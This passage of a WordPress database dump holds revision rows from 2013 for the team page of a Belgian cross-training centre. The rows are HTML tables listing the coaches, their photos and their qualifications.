width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\n&lt;h5&gt;Coach&lt;/h5&gt;\n&lt;ul&gt;\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\n&lt;h5&gt;Coatch&lt;/h5&gt;\n&lt;ul&gt;\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\n&lt;h5&gt;Coatch&lt;/h5&gt;\n&lt;ul&gt;\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-autosave', '', '', '2013-07-03 20:00:11', '2013-07-03 20:00:11', '', 20, 'http://www.crosstrainingcenter.be/?p=131', 0, 'revision', '', 0),
(132, 1, '2013-06-16 14:55:32', '2013-06-16 14:55:32', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-5', '', '', '2013-06-16 14:55:32', '2013-06-16 14:55:32', '', 20, 'http://www.crosstrainingcenter.be/?p=132', 0, 'revision', '', 0),
(136, 1, '2013-06-16 15:00:45', '2013-06-16 15:00:45', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-9', '', '', '2013-06-16 15:00:45', '2013-06-16 15:00:45', '', 20, 'http://www.crosstrainingcenter.be/?p=136', 0, 'revision', '', 0),
(133, 1, '2013-06-16 14:57:50', '2013-06-16 14:57:50', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2 class=\&quot;arrondi\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\n\r\nCoatch\r\n\r\nDiététicienne&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-6', '', '', '2013-06-16 14:57:50', '2013-06-16 14:57:50', '', 20, 'http://www.crosstrainingcenter.be/?p=133', 0, 'revision', '', 0),
(134, 1, '2013-06-16 14:59:12', '2013-06-16 14:59:12', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;h2 class=\&quot;arrondi\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-7', '', '', '2013-06-16 14:59:12', '2013-06-16 14:59:12', '', 20, 'http://www.crosstrainingcenter.be/?p=134', 0, 'revision', '', 0),
(135, 1, '2013-06-16 15:00:22', '2013-06-16 15:00:22', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-8', '', '', '2013-06-16 15:00:22', '2013-06-16 15:00:22', '', 20, 'http://www.crosstrainingcenter.be/?p=135', 0, 'revision', '', 0),
(137, 1, '2013-06-16 15:02:45', '2013-06-16 15:02:45', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-10', '', '', '2013-06-16 15:02:45', '2013-06-16 15:02:45', '', 20, 'http://www.crosstrainingcenter.be/?p=137', 0, 'revision', '', 0),
(241, 1, '2013-07-03 19:36:43', '2013-07-03 19:36:43', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;233\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-19', '', '', '2013-07-03 19:36:43', '2013-07-03 19:36:43', '', 20, 'http://www.crosstrainingcenter.be/?p=241', 0, 'revision', '', 0),
(138, 1, '2013-06-16 15:03:45', '2013-06-16 15:03:45', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: 